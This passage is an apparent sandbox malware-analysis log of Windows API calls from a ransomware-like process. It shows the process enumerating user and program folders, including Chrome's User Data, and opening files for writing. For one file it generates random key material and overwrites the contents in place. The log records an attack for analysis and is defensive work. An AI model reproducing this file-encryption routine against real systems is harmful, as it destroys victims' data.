GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets")) returned 0x20 [0049.836] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", dwFileAttributes=0x20) returned 0 [0049.837] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0049.837] GetLastError () returned 0x5 [0049.837] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", dwFileAttributes=0x20) returned 0 [0049.837] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ccc8) returned 1 Thread: id = 513 os_tid = 0xef4 [0049.312] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x4ef270 [0049.312] wcscpy (in: _Dest=0x4ef270, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" [0049.312] wcscat (in: _Dest=0x4ef270, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\" [0049.312] wcscat (in: _Dest=0x4ef270, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*" [0049.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45bbe0 [0049.313] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*", lpFindFileData=0x45bbe0 | out: lpFindFileData=0x45bbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a3e8 [0049.313] wcscmp (_String1=".", _String2=".") returned 0 [0049.313] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45bbe0 | out: lpFindFileData=0x45bbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.313] wcscmp (_String1="..", _String2=".") returned 1 [0049.313] wcscmp (_String1="..", _String2="..") returned 0 [0049.313] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45bbe0 | out: lpFindFileData=0x45bbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0049.313] wcscmp (_String1="Data", _String2=".") returned 1 [0049.313] wcscmp (_String1="Data", _String2="..") returned 1 [0049.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45e538 [0049.313] wcscpy (in: _Dest=0x45e538, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" [0049.313] wcscat (in: _Dest=0x45e538, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\" [0049.313] wcscat (in: _Dest=0x45e538, _Source="Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data" [0049.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45e538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984 [0049.554] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45bbe0 | out: lpFindFileData=0x45bbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 1 [0049.554] wcscmp (_String1="DQQ19BCJ.JAX", _String2=".") returned 1 [0049.554] wcscmp (_String1="DQQ19BCJ.JAX", _String2="..") returned 1 [0049.554] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x4165d0 [0049.555] wcscpy (in: _Dest=0x4165d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" [0049.555] wcscat (in: _Dest=0x4165d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\" [0049.555] wcscat (in: _Dest=0x4165d0, _Source="DQQ19BCJ.JAX" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX" [0049.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4165d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae0 [0049.556] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45bbe0 | out: lpFindFileData=0x45bbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 0 [0049.556] FindClose (in: hFindFile=0x40a3e8 | out: hFindFile=0x40a3e8) returned 1 [0049.556] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45bbe0) returned 1 [0049.556] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef270) returned 1 [0049.556] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45ff8) returned 1 Thread: id = 514 os_tid = 0xef8 [0049.314] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45e4b8 [0049.314] wcscpy (in: _Dest=0x45e4b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome" [0049.314] wcscat (in: _Dest=0x45e4b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\" [0049.314] wcscat (in: _Dest=0x45e4b8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*" [0049.314] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45b978 [0049.314] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a068 [0049.314] wcscmp (_String1=".", _String2=".") returned 0 [0049.314] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.314] wcscmp (_String1="..", _String2=".") returned 1 [0049.314] wcscmp (_String1="..", _String2="..") returned 0 [0049.314] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0049.314] wcscmp (_String1="User Data", _String2=".") returned 1 [0049.314] wcscmp (_String1="User Data", _String2="..") returned 1 [0049.314] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x4173e0 [0049.314] wcscpy (in: _Dest=0x4173e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome" [0049.314] wcscat (in: _Dest=0x4173e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\" [0049.314] wcscat (in: _Dest=0x4173e0, _Source="User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0051.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4173e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe8 [0051.615] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 0 [0051.615] FindClose (in: hFindFile=0x40a068 | out: hFindFile=0x40a068) returned 1 [0051.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45b978) returned 1 [0051.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e4b8) returned 1 [0051.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400618) returned 1 Thread: id = 515 os_tid = 0xefc [0049.315] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x417470 [0049.315] wcscpy (in: _Dest=0x417470, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports" [0049.315] wcscat (in: _Dest=0x417470, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\" [0049.315] wcscat (in: _Dest=0x417470, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\*" [0049.315] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45a8a0 [0049.315] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\*", lpFindFileData=0x45a8a0 | out: lpFindFileData=0x45a8a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409f28 [0049.315] wcscmp (_String1=".", _String2=".") returned 0 [0049.315] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x45a8a0 | out: lpFindFileData=0x45a8a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.315] wcscmp (_String1="..", _String2=".") returned 1 [0049.315] wcscmp (_String1="..", _String2="..") returned 0 [0049.315] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x45a8a0 | out: lpFindFileData=0x45a8a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0049.315] FindClose (in: hFindFile=0x409f28 | out: hFindFile=0x409f28) returned 1 [0049.316] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45a8a0) returned 1 [0049.316] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417470) returned 1 [0049.316] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447760) returned 1 Thread: id = 516 os_tid = 0xf00 [0049.317] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x4ef2e8 [0049.317] wcscpy (in: _Dest=0x4ef2e8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" [0049.317] wcscat (in: _Dest=0x4ef2e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\" [0049.317] wcscat (in: _Dest=0x4ef2e8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*" [0049.317] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45a8a0 [0049.317] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*", lpFindFileData=0x45a8a0 | out: lpFindFileData=0x45a8a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440260 [0058.109] wcscmp (_String1=".", _String2=".") returned 0 [0058.109] FindNextFileW (in: hFindFile=0x440260, lpFindFileData=0x45a8a0 | out: lpFindFileData=0x45a8a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.110] wcscmp (_String1="..", _String2=".") returned 1 [0058.110] wcscmp (_String1="..", _String2="..") returned 0 [0058.110] FindNextFileW (in: hFindFile=0x440260, lpFindFileData=0x45a8a0 | out: lpFindFileData=0x45a8a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", cAlternateFileName="{AC76B~1")) returned 1 [0058.110] wcscmp (_String1="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", _String2=".") returned 1 [0058.110] wcscmp (_String1="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", _String2="..") returned 1 [0058.110] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e02360 [0058.110] wcscpy (in: _Dest=0x5e02360, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" [0058.110] wcscat (in: _Dest=0x5e02360, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\" [0058.110] wcscat (in: _Dest=0x5e02360, _Source="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" Thread: id = 517 os_tid = 0xf04 [0049.317] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\vigtigt.htm")) returned 0x20 [0058.191] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm", dwFileAttributes=0x20) returned 1 [0058.192] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\vigtigt.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbc8 [0058.192] GetFileSizeEx (in: hFile=0xbc8, lpFileSize=0xca3fe1c | out: lpFileSize=0xca3fe1c*=16833) returned 1 [0058.192] SetFilePointerEx (in: hFile=0xbc8, liDistanceToMove=0x41bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.192] ReadFile (in: hFile=0xbc8, lpBuffer=0xca3fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xca3fd9c, lpOverlapped=0x0 | out: lpBuffer=0xca3fda0*, lpNumberOfBytesRead=0xca3fd9c*=0x4, lpOverlapped=0x0) returned 1 [0058.194] SetFilePointerEx (in: hFile=0xbc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.194] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0058.194] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429570 [0058.194] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429188 [0058.194] NtQuerySystemTime (in: CurrentTime=0xca3fd7c | out: CurrentTime=0xca3fd7c*=132174898221804000) returned 0x0 [0058.194] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x1cb5376a [0058.194] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x7be6ccd7 [0058.194] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x602815cc [0058.194] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x9faec14 [0058.194] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x6283bf4a [0058.194] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x12445c7b [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x40a1725a [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x69c69d71 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x700cc796 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x6f6b79c8 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x707e8b1d [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x50dfcfc3 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x702ed23d [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x1e73de55 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x25950a62 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x1f681788 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x6d6593e4 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x12bc8c82 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x67369c64 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x3ff3bfa0 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x65a27f6e [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x2c36bc09 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x289ec326 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x211df391 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x44d26da7 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x4a7a035 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x19afea4e [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x1018b497 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x2f6de995 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x272f9aa6 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x662c7471 [0058.195] RtlRandomEx (in: Seed=0xca3fd88 | out: Seed=0xca3fd88) returned 0x4b034e11 [0058.214] ReadFile (in: hFile=0xbc8, lpBuffer=0x19527880, nNumberOfBytesToRead=0x41c1, lpNumberOfBytesRead=0xca3fd78, lpOverlapped=0x0 | out: lpBuffer=0x19527880*, lpNumberOfBytesRead=0xca3fd78*=0x41c1, lpOverlapped=0x0) returned 1 [0058.280] SetFilePointerEx (in: hFile=0xbc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.280] WriteFile (in: hFile=0xbc8, lpBuffer=0x19534088*, nNumberOfBytesToWrite=0x41c1, lpNumberOfBytesWritten=0xca3fd74, lpOverlapped=0x0 | out: lpBuffer=0x19534088*, lpNumberOfBytesWritten=0xca3fd74*=0x41c1, lpOverlapped=0x0) returned 1 [0058.469] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428d98 [0058.469] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 